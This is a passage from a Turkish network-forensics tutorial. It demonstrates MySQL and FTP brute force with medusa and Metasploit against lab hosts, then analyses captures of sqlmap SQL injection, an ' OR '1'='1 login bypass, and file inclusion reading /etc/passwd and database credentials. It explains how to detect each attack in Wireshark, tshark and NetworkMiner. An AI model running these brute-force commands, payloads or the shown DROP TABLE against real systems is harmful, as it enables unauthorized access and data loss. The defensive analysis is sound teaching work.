ICMP Redirection: Saldırganlar tarafından ICMP Redirect mesajları
saldırı amacıyla trafiğini üzerine almak için kullanılan saldırı
türüdür.
47. DHCP Spoofing: Saldırgan DHCP sunucusu görevi alarak kendini
gateway gibi gösterip hedef bilgisayarlara IP dağıtır. Bu sayede bütün
ağ trafiği kendi üzerinden geçer.
IRDP Spoofing: ICMP Router keşif protokolü, ana makinenin
yönlendiricilerinin IP adresini keşfetmesini amaçlar. Saldırgan fake
ağdaki IRDP yönlendiricisini ana makineye göndererek varsayılan
yönlendiricisini değiştirmeyi amaçlar.
Route Mangling: Saldırgan gateway’e internetteki istemci için en iyi
route olduğunu fake paketler göndererek kandırır.
48. Dış Ağ Üzerinden Yapılan Saldırılar
DNS Poisoning
Route Mangling
Traffic Tunneling: Saldırganın tünel oluşturup kendisini ana ağ’a
yerleştirmesini amaçlayan bir saldırı türüdür.
MITM Saldırı Analizi
Öncelikle analiz için ben wireshark kullanacağım.
Şimdi ise ARP saldırısı yapalım.
49. -i(interface) kablolu internet kullandığımdan eth0 siz isterseniz
wlan0’da kullanabilirsiniz.
-t(target) ilk olarak gateway, ardından ise hedefimizin IP Adresini
yazalım ve saldırımızı başlatalım.
Artık analiz kısmına geçebiliriz.
Gördüğünüz gibi hedef ip adresimize farklı adreslerden paketler
gelmiş. IP Adreslerinin farklı olmasının sebebi ARP paketi olması.
Paketlerden birini seçip inceleyelim.
50. Source Port: 443 (Kaynak Port Bizim Portumuz)
Destination Port: 59223 (Hedefin Portu)
Source: 142.250.184.130 (Hedefin ip adresi)
Destination: 192.168.1.33 (Bizim ip adresimiz)
MYSQL BRUTE FORCE SALDIRI ANALİZİ
MYSQL BRUTE FORCE SALDIRI ANALİZİ
İçerik;
1.MYSQL Nedir?
2.MYSQL'e Brute Force Saldırısı
2.1.Medusa ile Brute Force Saldırısı
2.2.Metasploit ile Brute Force Saldırısı
3.Saldırının Analizi
3.1.NetworkMiner ile Analiz
3.2.Tshark ile Analiz
3.3.Wireshark ile Analiz
1.MYSQL Nedir?
51. 1994 yılında geliştirilmeye başlanan, 23 Mayıs 1995 yılında ise ilk sürümü yayınlanan
MYSQL 6 Milyondan fazla sistemde yüklü olduğu söylenmektedir. MYSQL multi-
threaded(çoklu iş parçacıklı), multi-user(çok kullanıcılı), robust(hızlı ve sağlam) bir veri
tabanı yönetim sistemi olarak kullanıcıların hayatında yer etmiştir.Windows, Unix ve OS/2
gibi gibi sistemlerde kullanılmaktadır.
Ücretsiz sunulmakla birlikte ticari lisanslar için ücretli bir lisans seçeneği de mevcuttur.Açık
kaynak kodlu bir sistemdir.
SQL (yapılandırılmış sorgu dili) aracılığıyla kontrol edilebilir. Bağımsız bir grafik kullanıcı
ara yüzü yoktur, ancak birçok yardımcı araç bulunmaktadır(Örnek: MYSQL Workbench)
Linux altında daha hızlı olduğu söylenmektedir. Genelde Web programlama dilleri olan ASP,
PHP ile çokca kullanılır. Bu yüzden Web sunucularında en çok kullanılan veri tabanı özelliği
gösterir.
Ayrıca 2009 yılında, Oracle tarafından satın alınmıştır.
MYSQL varsayılan olarak TCP 3306 portunu kullanmaktadır.
2.MYSQL'e Brute Force Saldırısı
MYSQL servisine bir saldırı gerçekleşmesi için önceki yazımızda belirttiğimiz gibi
SQL sunucumuza uzaktan bağlantı etkinleştirilmiş olması gerekmekte yani internete
açık olması gerekiyor. Bir diğer deyiş ile Fiziksel bağlantımız olmak zorunda ve
1433 numaralı portumuzun open(açık) durumda olması gerekmektedir. Close veya
filtered durumda, saldırımızı gerçekleştiremeyiz.
Bu sefer farklılık olması amacıyla Brute Force saldırısını metasploit ve medusa olmak üzere 2
farklı şekilde gerçekleştireceğiz.
2.1.Medusa ile Brute Force Saldırısı
1. aşama tespit ;
Nmap ile port taraması yapalım. 3306 yani MYSQL'in çalışıtığı portun durumunu kontrol
edelim. Bunun için Nmap aracında kullanacağımız komut;
nmap -p 3306 192.168.1.3
52. Klasik bir tarama yaptık. Yapacağımız saldırı MYSQL üzerine olduğu için spesifik olarak
3306 numaralı portu -p parametresi kullanarak taradık ve 3306 numaralı portumuz açık,
çalışan servis ise mysql buraya kadar her şey doğru. Şimdi Brute Force atağa geçelim.
2. Aşama Saldırı
Önceki yazımızda xHydra aracını kullanmıştık. Bu sefer çeşitlilik olması açısından Brute
Force saldırısı için kullanacağımız araç Kali Linux'da default olarak gelen medusa aracıdır.
Oldukça basit ve kullanışlı bir araçtır.
İşi uzatmamak adına password'u wordlist içerisine başlara yerleştirdim. Username ise root
olarak belirtiyorum.
medusa -h 192.168.1.3 -u root -P /root/Desktop/example_layef_pass.lst -M mysql -F
Yazdığımız komut dizisini açıklıcak olursak;
-h : Hedef adresi belirttik
-u : Tekil olarak bir hedef(username) verdik. Eğer elimizde Bir
Username listesi olsaydı -U ile belirtebilirdik.
-P : Bir password listesi yolu gösterdik. Eğer tek bir pass belirtmek
istersek -p parametresini kullanmamız gerek.
-M : Parametresi ile saldırıyı yapacağımız servisin adını küçük
harflerle belirtiyoruz.
-F : Bu parametre ile username ve pass bulunduktan sonra işlemi
sonlandırır. Bu parametre verilmezse Brute Force işlemi
listedeki birimler bitesiye kadar devam eder.
53. Görüldüğü üzere Brute Force saldırısını gerçekleştirdik ve şifreyi elde ettik.
2.2.Metasploit ile Brute Force Saldırısı
Metasploit açıldıktan sonra kullanacağımız modülü seçiyoruz.
use auxiliary/scanner/mysql/mysql_login
bu yardımcı modül Brute Force saldırısı yaparak oturum açmamıza yardımcı olacak.
54. show options diyerek gireceğimiz parametreler hakkında bilgi sahibi olabiliriz.
-- set RHOSTS 192.168.1.3 (Hedef ip adresi)
-- set USERNAME root (kullanıcı adını belirttik)
-- set PASS_FILE /root/Desktop/example_layef_pass.lst (Bir pass listesi yolunu gösterdik)
ve run diyerek saldırı işlemine geçelim
Saldırımızı tamamladık ve şifreye ulaştık. Şimdi bu şifreyi kullanarak giriş yapıp, veri tabanı
üzerinde bir saldırgan gibi birkaç işlem yapalım ki trafiği incelerken bir saldırganın veri
tabanı üzerindeki işlemlerini de analiz edebilelim,
55. 1 numaralı bölümde Brute Force ile şifresini öğrendiğimiz mysql servisine uzaktan bağlantı
yapıyoruz.
2 numaralı bölümde show databases; diyerek içerisinde bulunan veri tabanlarını
görüntüledik.
3 numaralı bölümde use tikiwiki; diyerek inceleceğimiz veri tabanı ismini seçtik.
4 numaralı bölümde show tables; ile tikiwiki içerisindeki tabloları görüntüledik.
56. Görüldüğü üzere tablolar arasında users_groups isminde bir tablo var. Bunun içerisinde
önemli bir bilginin olduğunu farz edelim saldırgan;
5 numaralı bölümde select * from users_groups; ile içeriğini görüntüledi, kaytıları ekrana
getirdi ve
6 numaralı bölümde drop table users_groups ile bu bilgileri sildi..
ve çıkış yaptı. Şimdi analiz bölümünde bu saldırıyı detaylı bir şekilde inceleyeceğiz..
Saldırının Analizi
Medusa aracı ile yaptığımız saldırıyı NetworkMiner ve Tshark ile analiz edelim..
3.1.NetworkMiner ile Analiz
Genel bir bakış açısı için NetworkMiner ile saldırının pcap dosyasını(saldırının kayıdını)
incelicek olursak.
57. 3306 numaralı porta bir saldırı var bu anlaşılabiliyor, incoming sessions: 1565 kısmına
tıklayarak ya da Session veya DNS bölümünde detaylı olarak paketleri inceleyebiliriz..
Burada görebileceğimiz üzere dar zaman aralıklarında, aynı port üzerine yapılan istekler
Brute Force saldırısına kanıttır.
3.2.Tshark ile Analiz
Tshark, Wireshark'ın terminal versiyonu diyebiliriz. Temel manada analiz yapmamıza
imkan tanıcak.
NetworkMiner aracında 3306 numaralı porta yani MYSQL servisinebir saldırı yapıldığını
anlamıştık. Burada ise biraz daha özele inelim.
58. tshark -r /root/Desktop/mysql.bf.pcapng -c 1000 mysql.error_code == 1045
Yazdığımız komut dizisini açıklıcak olursak;
-r : dosya yolu belirttik
-c : 1000 numaralı pakete kadar olanları göster
mysql.error_code == 1045 : 1045 numaralı error code gönderenleri göster
Komut dizinini kullanarak erişim engeli yiyen yani 1045 numaralı Response code döndüren
paketleri incelemeye alabiliriz. Bunlar bize bir şifre deneme saldırısı yani Brute Force saldırısı
olduğunu kanıtlamaktadır.
Ayrıca başarılı girişi bulmak için de "mysql.response_code == 0x00" parametresi girilebilir.
Metasploit ile yaptığımız saldırıyı ise Wireshark aracı ile inceleyelim.
3.3.Wireshark ile Analiz
Diğer araçlar ile ne tür bir saldırı olduğunu tespit ettik şimdi biraz daha detaya ineceğiz.
Wireshark'ta genelden özele doğru filtreleme işlemi yapalım. İlk olarak mysql olarak
filtreleme yaparsak mysql'e yönelik tüm işlemler görüntülenebilir.
59. Paketlerden birini incelersek..
denenmiş olan username ve password bilgisini görebiliyoruz fakat parola hash'li biçimde..
Bilindiği üzere bir Brute Force saldırısında binlerce binlerce başarısız giriş sadece bir tane
başarılı giriş bulunur.
Bu yüzden erişim engeli yiyen yani başarısız işlemleri filtreleyeceğim.
Bunun için mysql contains "Access denied" kelimesi filtrelenebilir.
Bir paketin üzerine tıkladığımızda alt bölümdeki Error message bölümünden de anlaşılıyor.Bu
işlemin aynısını tshark üzerinden de yapmıştık. Tek fark orada error code üzerinden
60. filtrelemiştik aslında aynı yola çıkıyor. Aynı filtre Wireshark üzerinde de kullanabilir.
Ayrıca bu paketlerin üzerine sağ tık yapılarak Follow > TCP Stream işlemi ile de detaylara
bakılabilir.
mysql.response_code == 0x00 filtresi ile de Tshark da olduğu gibi başarılı giriş bulunup
incelenebilir.
Ayrıca mysql.query parametresi ile mysql'de sorgular yapılan paketleri filtreleyebiliriz.
Filtrelediğimiz paketler farkettiyseniz en yukardaki paketten aşşağı indikçe, saldırganın ilk
sorgusundan son sorgusuna doğru bir değişim olmaktadır. Görüldüğü gibi en üsteki 2. paket
saldırganın ilk sorgusuydu. Request Command Query > Statement kısmında sorguyu
görmekteyiz.
Bu arada yukardaki ilk paket girişte verilen versiyon bilgisi felan olması gerek ilk sorgu
olarak Wireshark bize bunu vermiş olabilir.
En alttaki sorgunun bir üstündeki paket ise saldırganın son yaptığı işlemlerden olan tablo
silme işlemi yani drop table users_groups. İşaretli bölümde görülmektedir. Onun bir
61. altındaki işlem ise show tables yani tabloları tekrardan görüntülemiş silme işlemi kontrol için
olabilir.
Ayrıca bu paketler Follow > TCP Stream ile daha detaylı incelenebilir.
Not: Bu sıralamanın yukarda anlattığım gibi olabilmesi için No kısmının yani paket
numaralarının işlem sırasına göre dizilmiş olması gerekmektedir.
SQL INJECTION SALDIRISI TRAFİK ANALİZİ
Merhabalar,bu konumuzdaSQLInjectionsaldırısıgerçekleşmişağtrafiğininkaydınıinceleyerek
saldırıyı yorumlayacağız.Saldırıtrafiğine aitpcapdosyasını Wiresharkaracımızda açarak paketleri
görüntüleyelim.
Pcap dosyasınıaçtığım an itibarıylahttpprotokolüüzerindeGETisteği yapılmışbirkayıt dikkatimi
çekti.Listproducts.phpsayfasınıncatparametresi üzerindeişlemyapılmış,mutlakbirsql injection
62. tespitişlemiolduğunuyorumlayabiliriz.İstersenizöncelikle oisteği birinceleyelim.İlgiliisteğesağtık
yapıp followhttpstreamdiyorum.
GET isteği yapıldığı,%2A yani * karakterininURLkarşılığının gönderilerekilgili parametreüzerinde sql
injectiontespiti denemesiyapıldığınıanlıyorum. User-Agentbaşlıkbilgisinde isesqlmapyazıyor,
saldırının otomatize biraraç olansqlmapile gerçekleştiğini de buradançıkarabiliriz.Birde buisteğin
dönenyanıtına bakalım.İstekyapılmışdayanıt ne dönmüş,saldırganburadanne elde etmişona
bakalım.
http Response içeriğinde websayfasındasql hatamesajınınyeraldığını görüyoruz.Yani saldırgan
burada sql injectionsaldırısınıtespitetmiş,hedefine doğrueminadımlarlailerliyor.
Şimdi saldırınındetaylarınageçmedenbenenbaşadönüpbirazfarklıdetaylaradeğineceğim, hiçbir
şeybilmiyormuşgibi devamedelim.
En başa dönüyorumve menülerdenstatistics-protocol hierarchysekmesini takipediyorum.Burası
bize ilgili ağtrafiğineaitprotokollerinpaketdetaylarınaaitayrıntıları veriyor.
Burada HTTP protokolüne odaklandımben,HTML FormURL Encodedyazan pakete sağtık yapıp
“applyas filter-selected”diyerekfiltreninuygulanarakisteğindetayınagitmekistiyorum.
Urlencoded-formadındabirfiltre uygulanarakbanabiristekgösterdi.Benbununurl encode edilmiş
bir formdatasına aitbir istekolduğunuanladım.httpStreamdiyerekbirbakalımburadaneler
dönmüş.
63. Burada listproducts.php?cat=3adlısayfadabirpost data gönderilmiş,budataiçerisinde birsql
sorgusuvar tabii ki.Bu isteksonucunda da200 değeri dönmüştabii amayanıt saldırganı tatminetmiş
mi tüm mevzuo.Şimdi bunubirgeçelimde şupostdata olarakgönderilensql sorgusununne
olduğunuanlamayaçalışalım.Şöyle birbakıncaurl encode edilmişbiryapıvar, içerisindescript,
cmdshell bilmemne geçiyorhiçbirşeyanlamadımaçıkçasıbenbu sorgudanbirazanlamlandırmaya
çalışacağım inşallahanlarız.İlgili sorguyukopyalayıpurl decode edelim.
and 1=1 kısmından sonrabende hatlarkarıştı, xssçalıştırma mı dersin,xp_cmdshellkomutu mu
dersin,ortayakarışık yapalımder gibi birsql sorgusugönderilmiş.Gönderilmişde,ne dönmüşmevzu
bu.Response içeriğinde birbakalım.
64. Tabii bu yanıt içerisindeuzuncabirhtml kodvar da benöylesinegöstermekiçinbirkısmınıçektim.
İçerisinde tatminedici hiçbirşeyyok.Birşeygönderilmişamasonuçyokyani.
Benimşuana kadar anladığım şey,buradasql sorgularıgönderilereksql injectionişlemi yapılmaya
çalışılmış.
HTTP filtresi uygulayıphttpisteklerine bakıyorum.Bunaöyle birbaktımsadece ve birazdaha spesifik
bir hale getiripsadece GETisteklerinebakayım, ki zatensql injectionsaldırısımutlakolarakburada
GET üzerindengerçekleşmişşuanakadar öyle birizlenimelde ettim.
İlgili filtreyiuyguladığımzamanbanatüm get isteklerini gösterdi.Buradazatengörüldüğügibi ilgili
sayfanıncat parametresine epeybirsql sorgusugönderilmiş.Yani bizburayaodaklanacağız.Ondan
önce bir de http üzerindeki detaylarabakmakistiyorum.Statistics-http-packetcounteryolunu
izliyorumve karşımaçıkan tabloyabakıyorum.
65. Bu tabloyuyorumlamakgerekirse 200ok dönen173 istekolduğunuyani başarılıistekolduğunu,1119
http isteği olduğunu,buisteklerin168 adetininGET,1 tanesininPOSTolduğunugörüyorum.GET
İsteklerine odaklanmadan şu1adetyalnız POSTisteğine bakmakistiyorum.Benbirşeytahmin
ediyorumama…
Hani az önce url encode edilmişbirdatabulmuştukya,buaslındaoyani POSTile gönderilendata.
Şimdi tekrariçeriğine bakmayalımgeçelimbunu.
Şu getisteklerine şöyle birtekrarbakalım, buradagördüğünüzgibi sorgulargönderilmişamaanlamsız
sorgular,aslındaanlamlıda şu an bize anlamsızgeliyor.Bunlaraslındaencode edilmişistekler.Bir
tanesine sağtık yapıpinceliyorum.
67. Sorguyubu biçimde değiştiriyorum.Orayane yazdığımagelirsek“SELECT” deyimininbase64
karşılığını paketleriçerisinde arattım.Gördüğünüzgibi başarılıbirşekildeselectgeçenisteklerbana
getirildi.Buşekildefiltreleruygulayaraksaldırıiçerisinde tespitleryapabilirsiniz.Buanalizböyle uzar
da gider.İstiyorsanızdahasade birsaldırı analizini de yapabiliriz.
Bu seferdahafarklıbir saldırının trafikkaydınabaktığımız zaman sorgularınapaçık ortada olduğunu
görebiliyoruz.
http-requestsayrıntılarınabakarsakyapılanrequestleridetaylıcagörebiliriz.
Bu ağ trafiğini çokkullanışlıolanNetworkMinerüzerindende inceleyebiliriz.
68. Pcap dosyasınıaçtığım zaman filessekmesinde hangi dosyalaraistekleryapıldığınınetbir şekilde
görüyorumki bu saldırı boyuncalistproducts.phpdosyasınaodaklanıldığınıgörüyorum.Buradanelde
edilenbilgiyleaslındaWiresharkdaincelememizi kolaylaştırabiliriz.
Bu şekilde sadeceurl de listproducts.phpgeçenistekleri filtreleyebiliriz.
Yine NetworkMinerüzerindeParameterssekmesi üzerindengidenisteklerde HTTPbaşlığınaait
bilgileri eldeedebiliriz.ÖrneğinX-PoweredBybaşlığındasunucununPHP/5.3sürümünüçalıştırdığını
da öğrenmişolduk.AynızamandaNginx sunucusuüzerinde çalışıyormuş.
69. Zatenbunlarıyine httpresponse içeriğinde görebilirdik.
Aynı zamandaNetworkMinerüzerindeyeralanengüzel kolaylıklardanbirtanesi de filessekmesinde
ilgili dosyayasağtıkyapıp OpenFile dediğimizzamantarayıcımızda sayfanınaçılması da güzel bir
olay.
Görüldüğügibi websayfasındaoan çalıştırılan isteğe aitsayfanıngörünümüyeralıyor.
Openfolderdiyerektümdosyalarıklasörde görüntüleyerekinceleyebilirsiniz.
70. Bu şekilde birsaldırıtrafiğininWiresharkve NetworkMinerüzerinde nasıl incelenebileceğini
uygulamalıolarakgörmüşolduk.
YEREL AĞ SIZMA TESTİ ANALİZİ
Merhabalar,şimdi birsistemüzerinde gerçekleşensibersaldırınınağ tarafındaki aktivitelerinianaliz
edereksaldırganınyaptığıişlemlerive elde ettiklerinigöreceğiz.Ağtrafiğineaitkaydedilmişpcap
kaydını açarak analizimizebaşlayalım.
Pcap dosyasınıaçtığım an karşıma birçokarp isteği geldi.Buradatümağa broadcastbir yayın
yapıldığını görebiliriz.“192.168.127.130” numaralıip adresi 192.168.127.0 subnetinde taramaişlemi
gerçekleştirmiş.Buradagördüğünüzgibi saldırganşahısaktif olansistemleritespitetmeyeçalışıyor.
Peki nelertespitetmiş?Bununiçinarppaketleri arasındareplydönenleri filtreleyelim.
Burada opcode 2 filtresiniuygulayaraktümreplydönenpaketleri filtreledik.Opcode==1uygulamış
olsakyapılantüm arp isteklerinibize verirdi.Bizimiçinreplyönemli ki buayaktaolancihazlar
anlamınagelecek.BuradaipadreslerininMACadresleriarptablosunaeklenmişoluyor.
71. Yani buradakısaca saldırgankişi yerel ağüzerinde haberleşebileceğibilgisayarlarıtespitetmiş.
Protokol hierarchybilgilerine gözattığımızzaman trafikte httpağırlıklı birakışın olduğunugörüyoruz.
Yani saldırgankişi webuygulamasıüzerindenhedefe yönelikişlemlergerçekleştirmiş.
http-packetcounterbilgilerine gözatarsak404 not founddönenepeybirsonuçolduğugözümüze
çarpıyor.
Yani saldırganmuhtemel olarakdizinkeşfigerçekleştirmişolabilir.Hiçnormal birdurumdeğil yoksa
bu kadar 404 sonucununolması.
http requestsbilgilerine bakarsakaslındabudüşüncemizi doğruluyor.Butarz sayfalaraistek
yapılmasıancak dizinkeşfi gerçekleştirenotomatize biraraçile sağlanabilir.
72. Ayrıca dikkatederseniz192.168.127.129 ip adresli sistemüzerinde buisteklergerçekleştirilmiş.
Yazının başında yoğunbir arp trafiği sonucundareplydönensistemlerdenbiriydi.Yani saldırganbu
sistemi kendine hedefolarakbelirlemiş.
Anlaşılanwebuygulamasıüzerinde işlemlergerçekleştirilmiş,ki bunuanlamaktazorolmamalıydıo
kadar httptrafiği var neticede.Bendirekthttptrafiğine odaklanmadanbirazdahaişinhikayesine
girmeye çalışacağım.Trafikdosyasınışöyle birbaştanaşağı inceliyorum.
Epeybir tcp trafikakışı gerçekleşmiş,synleruçuyor.Belirliportlarasynpaketleri gönderilmişve
gördüğünüzgibi rstack cevaplarıdönmüş.Buradanyolaçıkarsak saldırganarp istekleriile öncelikle
ağ üzerinde sistemkeşfi yapmış,kendisine hedef olarak192.168.127.129 numaralısistemi seçmişve
burada porttarama işlemi gerçekleştirerekhedefte açıkolanportlarıtespitetmiş.Buradapaket
akışına dikkatederseniz,129 numaralıip adresi hedef ipadresi,130ise saldırganınip adresi.Burada
80 portunugörmüşolmalıve webüzerindenerişipişlemlerinedevametmişolmasıgerekiyor
saldırganın.Buraya kadar bu yorumlarıyapmışolduk.Acabaaçık olanportlarne? Saldırgan neticede
port taraması yapmış.
Bu şekilde birfiltreylesyn,ackdönentümpaketleri listelemişolduk.Bununaçıklamasışu,port
tarama işlemlerinde hedef portlarasyngönderilmişve hedeftensyn+ackyanıtlarıdönmüşyani hedef
port benimle iletişimkurabilirsinsanaaçığımdiyor.Bu da saldırgankardeşimiziçinolumluoluyor.
Normalde porttarama işlemlerindeackyanıtı gönderilmezçünküiletişimkurmaniyetiyoktur,
saldırganınamacı syn+ack banagelsinportaçık olduğunuanlayayımyeterlidirolur.
Burada dikkatederseniz80ve 22 portlarındanyanıtlargelmiş.Yani saldırgan80 httpve 22 ssh
portlarınınaçık olduğunutespitetmiş.
Trafikte dikkatimiçekenbirayrıntıoluyor.22.port üzerinde üçlüel sıkışmagerçekleşmişyani burada
saldırganssh üzerindeniletişimgerçekleştirmiş.Buçokönemli birdetay,saldırganSSHservisi
73. üzerindenhedef sistemebağlanmışelegeçirmişolabilir.SSHbirkenardadursunfinali onunla
yapacağız gibi.Şuhttp trafiğini birinceleyelimsaldırganwebdennelerelde etmişbulmayaçalışalım.
Protokol hiyerarşisinde yeralanformisteklerinigörüntüleyeceğim.
Burada testsayfasıüzerinde postdatalargönderilmişbirinceleyelim.Ayrıca/kök dizinde de birpost
isteği gönderilmiş.Burasıanadizinoluyoryani 192.168.127.129 adresine webtarayıcısındanerişen
saldırganbir formlakarşılaşmışolduğunuanlayabiliriz.
Burada un ve ps postparametrelerine sql injectionlogin bypassişlemi gerçekleştirmekiçin‘OR’1’=’1
sorgusunugöndermişyani zafiyetvarsapanele erişimsağlamışolacak.
Sayfada“try again” mesajıalertvermiş,yani okadarkolaymı olacaksanıyorsundemekoluyor.
Buradan birşeyelde edememişanladığımızkadarıylabusayfa da başkabir postrequestde
göremedikşimditestsayfasınagidenisteklerebakalım3tane istekyapılmış.
İlgili sayfadafileadındabirpostparametresi varmışve buradafile inclusionzafiyeti olabileceğini
düşünerekgöndermişmeşhursorguyu.
74. Yanıt içerisinde busefertryagainyerine bildiğinizwelcome mesajıdönmüşetc/passwddosyasıiçeriği
ekranadökülmüş.Yani buradafile inclusionzafiyeti tespitetmişsaldırgan.
Devamındaise aynı zafiyettenyararlanarakc.phpadındabirdosyanıniçeriğini çekmekistemiş.
Bu sayfadaphpile mysql veritabanınabağlantıişlemi yapankodparçasıyer alıyor.Veritabanıadı,
veritabanıkullanıcısıve parolabilgileriyeralıyor.
75. Bir sonraki postisteğinde isegörüldüğügibi ilgili dizindenconfig.inc.phpdosyasınıniçeriğini elde
etmiş.Buradaki bilgileri nasıl kullandıkimbilirşimdi onubulmayaçalışacağız.
Gördüğünüzgibi busaldırganepeybirhttp isteği yapmıştıdeğil mi?Acabahangi sayfalarıbuldu
kontrol edelim.Ebulunansayfalar200 döndürürdeğil mi?O zaman200 dönencevaplarabakalım.
76. Bu şekilde filtreleyebiliriz.
Benhttp requestsequencesbilgileri ile istekyapılansayfalarıgörebilirim.Phpmysayfasıbulunmakta
bu phmyadminsayfasıdır.
Phpmyiçerenurlleri listeliyorum.BuradaGET isteği dışındabirişlemyokyani buradapost
dönmediyselogindenemesi yapılmamışdiyebiliriz.Yani busayfanınsicili temizgeçelim.
Şu /insayfasındane var acaba?
77. Bu sayfanınresponse içeriğindegördüğümüzgibiaslındaphpinfofonksiyonunçalıştırıldığıbirsayfa
olduğunugörüyoruz.Birsaldırganiçinnimettirburası.Buradanelde ettiği dizinyapısıbilgisi ilefile
inclusionaçığını birleştirerekconfigdosyasınıokuduğunuçıkarabiliriz.Zeki birsaldırgandiyebiliriz.
Bizdaha sonra bu sayfalarıdışarı çıkarıp içeriklerine de bakarız.Hattaşu insayfasını çıkartalım ya..
http-export-objectyoluylainsayfasınıchrome dapreview ediyorum.
Bakın /var/wwwaramasınıyaptığımda bununlaalakalısonuçlarıgörüyorum.İn.phpdosyasıdabu
dizinaltında,yani webdosyalarıburada.Saldırganbu yolukullanarakconfigdosyasınıokumuş.
Buraya kadar epeyyorumyaptıksaldırganfinali sshüzerindenyapmışolmasıgerekiyor.Dahabüyük
final olamazdı.
Güzel güzel paketakışlarıgerçekleşmiş.Peki saldırganhangi bilgilerle sshüzerinde bağlantıkurmuş
tespitedelim.Configdosyasıüzerinde user:rootpassword:roottoorbilgilerieldeedilmişti.Bu
bilgilerlesshüzerindenbağlantıkurulmuşolabilirhementeyitedelim.
78. Yani saldırganelde ettiği bilgilerlesshüzerindenhedef sistemebağlantıkurupişlemler
gerçekleştirmiş.Busaldırınınkısaca özeti;ağ üzerinde aktif sistemlertespitediliyor,hedef sistem
belirlenipaçıkportlartaranıyor,webuygulamasındandizinkeşfi yapılıyor,file inclusionaçığıtespit
ediliyorve elde edilenbilgilerle sshservisi üzerindenhedef sistemele geçiriliyor.
ZARARLI DOSYA TRANSFER ANALİZİ
Zararlı Dosya Transfer Analizi
Bu yazıdaki amacımız herhangi bir saldırı yöntemi ile sisteme transfer edilen bir zararlı
dosyayı tespit ve analizidir.
Senaryomuzda saldırgan kurban makinenin FTP servisine Brute Force saldırısı yapmakta ve
ardından FTP üzerinden kurban makineye zararlı dosya göndermektedir. İçeriğe gelecek
olursak;
1.Ftp Nedir?
2.Ftp Servisine Brute Force Saldırısı Nasıl Yapılır?
3.Ftp Üzerinde Saldırı İşlemleri
4.Yapılan Saldırının Analizi
1.Ftp Nedir?
79. File Transfer Protocol, Abhay Bushan tarafından yazılmış ilk olarak 16 Nisan 1971'de RFC
114 ismiyle piyasaya sürülmüştür. İnternete bağlı iki cihaz arasında dosya transferi yapmaya
olanak sağlar.
Varsayılan olarak 21 numaralı portu kullanmaktadır.
2.Ftp Servisine Brute Force Saldırısı Nasıl Yapılır?
Brute Force saldırısı yapmadan önce portun durumunu kontrol edelim.
nmap -p 21 <hedef>
Portumuz açık olduğuna göre Brute Force saldırısını gerçekleştirebiliriz.
medusa -h <hedef> -U <user_name_wordlist> -P <pass_wordlist> -M ftp -F
-h ile hedef ip adresini belirledik,
-U ile bir kullanıcı adı wordlisti belirttik,
-P ile bir parola wordlisti belirttik,
-M ile hedef saldırı yapacağımız servisin ismini belirttik,
-F parametresi ile de kullanıcı adı ve parola bulduktan sonra işlemi bitirmesini
söyledik.
Şimdi Brute Force saldırısı ile elde ettiğimiz username ve şifre ile ftp servisine bağlanalım ve
saldırgan gibi birkaç işlem gerçekleştirelim...
3.Ftp Üzerinde İşlemler
İlk olarak FTP servisine bağlanalım. Bunun için yapacağımız işlem;
ftp <hedef_ip>
80. Kutucuk içindeki FTP kodlarının anlamlarına bakıcak olursak...
220 > Hizmetin gelecek kullanıcılar için hazır olduğunu bildirmekte,
331 > Kullanıcı adının onaylandığını, parolaya ihtiyaç olduğunu belirtmekte,
230 > Oturumun açıldığını belirtmektedir.
Hedef FTP servisine bağlandığımıza göre işlemlerimize başlayalım...
Bir saldırgan kafasında davranacak olursak FTP aracılığı ile kurban makineden önemli
dosyalar çekilebilir.
FTP server üzerinden bir dosya çekmek istersek kullanacağımız komut;
get <hedef_dosya>
Burada blue_pass.txt içerisinde önemli bilgiler içirdiğini farz edelim...
Kutucuk içindeki FTP kodlarının anlamlarına bakıcak olursak...
150 > Dosya durumu tamam, veri bağlantısını açmak üzere
226 > İstenilen dosya işlemi gerçekleştirildi, veri bağlantısı kapatılıyor.
Şimdi bu dosyayı silelim..
delete <hedef_dosya>
81. blue_pass.txt isimli dosyayı sildik
250 > İstediğimiz dosya işlemi tamamlandı.
200 > Komut tamam.
Ardından hedef sisteme zararlı bir dosya göndermek istersek kullanacağım komut;
put <hedef_dosya>
ve ardından saldırgan çıkış yaptı. Görüldüğü üzere zararlı dosyayı hedef sisteme gönderdik
şimdi alt kısmında bu işlemleri analiz edelim...
4.Yapılan Saldırının Analizi
NetworkMiner ile saldırının kaydını incelediğimiz zaman ilk olarak gözümüze çarpan Altı
kırmızı çizgili yerde gösterdiğim üzere TCP 21 numaralı portta bir hareketlilik olduğu...
82. Yeşil alanda paketleri görebiliyoruz. 192.168.125.128 numaralı ip adresinden bir Brute Force
saldırısı var diyebiliriz çünkü siyah alanda gösterdiğim üzere 3 saniyede bir istek var bu da
bize bir Brute Force saldırısı olduğunu kanıtlıyor.
Ayrıca mavi kutucuk içerisinde birbiri ile iletişim halinde olan makineleri görebilirsiniz.
NetworkMiner'da Files bölümüne bakacak olursak burada blue_pass.txt isimli bir dosya
içeren bir paket gözümüze çarpıyor. Pakete sağ tık > open file diyelim.
Dosyanın içeriğini görebilmekteyiz. Hatırlarsanız saldırgan blue_pass.txt isimli dosyayı get
komutu ile kendi bilgisayarına çekip silmişti. Burada çektiği dosyayı rahatlıkla
görebilmekteyiz.
83. Credentials bölümüne gelince kırmızı alananda denenen usurname ve passwordları
rahatlıkla görebilmekteyiz.
en son şifre ve username bulunmuş ve saldırı sonlandırılmış.
Ayrıca Parameters bölümünde birçok parametre ile filtreleme yapılabilir. Buruda 220
numaralı FTP kodunu filtrelersek;
Görüldüğü üzere çok fazla 220 kodu dönmüş paket var. Bilindiği üzere ftp servisine
bağlanılmak istediğimizde giriş bölümünde 220 kodu yani hizmetin gelecek kullanıcılar için
84. hazır olduğunu bildirmekteydi. Çok fazla sayıda bu servise giriş isteğinde bulunulmuş sonucu
çıkartılabilir. Bu da Brute Force için güçlü bir kanıttır.
FTP servisine bir saldırı olduğunu biliyoruz. Kurban bilgisayarın log kayıtlarını incelemek
istersek;
cd /var/log/proftpd/ && tail -10 proftpd.log
cd /var/log/proftpd/ ftp loglarının bulunduğu konuma gittik.
tail -10 proftpd.log burada ise tail komutuyla son 10 işlemi listeledik.
Kırmızı alanda görüldüğü üzere 192.168.125.128 numaralı ip tarafından ftp oturumu açılmış
ve kapatılmış.
Wireshark aracı ile incelemeler yapıcak olursak..
Wireshark'ta FTP kodları üzerinden filtrelemeler yapılabilir.
Örneğin başarılı girişler bulunup incelenebilir.
ftp.response.code == 230
Follow > Tcp Stream yaparsak detayları görebiliriz.
85. başarısız girişleri incelersek;
ftp.response.code == 530
